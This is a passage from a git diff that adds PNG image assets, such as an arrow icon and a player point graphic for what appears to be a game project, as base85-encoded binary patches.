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 literal 0 HcmV?d00001 diff --git a/data/images2/leftArrow.png b/data/images2/leftArrow.png new file mode 100644 index 0000000000000000000000000000000000000000..b3c8613195d7260d4472553ed7dc14cda4c7d35a GIT binary patch literal 13077 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 F{{RA=-&X(t literal 0 HcmV?d00001 diff --git a/data/images2/player1_point.png b/data/images2/player1_point.png new file mode 100644 index 0000000000000000000000000000000000000000..c06c08c7db9abaa067f03abf1c4b6864b82613c1 GIT binary patch literal 2044 zcmb7_`#;l*AICp7Hn%Ay_iLw>%Q1FPlr_+D%eLUXp*Xx(p^Zj_detKs)qtC&_6~zGnfT8SdU4MAM ze=7?4p|iz!V*r4%P_|a?i66NXVx)|ROm~r&Sa*H6ury3Oot&2kXdJ6Ot8RN(pzZ+D zWTyv49XoirTHHRt#~GwuS$L}ESeLkl*&Xr+xvFa2rU_S?(~}JPKUO{r-Ki}s{`Tj| zlJNm-XiGJHw};}t5sX`%BqH`wo;@=#b(4hL#K`|YbF;j~`Lhe&<-F$M2&D*+k3mz8 zHP_Bc)Z_lb)AKfD7bJ1AHI^3AuV`;?Pg-0IOAs}pu1B(G42}fD3ql9WVICeH_h!}; znPG3M=QZE{2UAVn!bt9P{AnAnyp5L(I}4h|SB znb0F+Ol%hhN{u8a=(-S~9sku6l$c4#*H!YB`m@a-bU>KQs#IV;_G`ZbFr4*h!O8%X z83QN-ETKgN2|Z#=UlB+!v))*8tx^JJ{855UAkBm94Ifjuo^5SMtFe(`(lD%mrI82v zv9q=bqN+P?u__+78Ceci{XtitS|k-yoTa zkS`}z!bSo|BoI>}k4)*#Q8=iiBq1UDE9uK{ z9r?M2K_2k?@d9JX!oot{I6eN0E1VS9Awsi4p0Th{J#A{5p`oClF#AVwf5@<;Iua>e zd;V^%0?<7CEkImcyh|=VJUqN23WY*B0Otu3>J^;r$+oMV^Km;cl#|l|B}*(8QC(Y` zefioN{wJiUxRm~0S68<*)Pn#cp~Wztx^u6A3xVSgK#QHYW|_1JR+QV}$#M$i;RI0n zC0C~>vhm#M>gpN{P*6*H62lI>6&lo28Vjy zUKwILA{CJwW(FI>8i{<9fF~sv*@;sY#u9*v6AnU6cwXk^{Z7^p-qP{z5ynGTBH7^$ zAvRd4E6POdeRQ2@N&(JpX?SX)(LC&TOPEPassETzBdKtt5Z6^E7AwdeooZ?Ph_OezLn}sFj`m17`0=xi`$* zL{^;kgjSnPD<9m4&i^%nknm6C^9Eo3Gv@jAh8G7_2!74wZi+^9?S%cLlNnkUS9V}g zs?_$cX?uRaRN_iwH1FPIDZ_h6l8lyRtvk-IMZDcQN~-QK(b&6^wQxTv{F)y$k7gpK 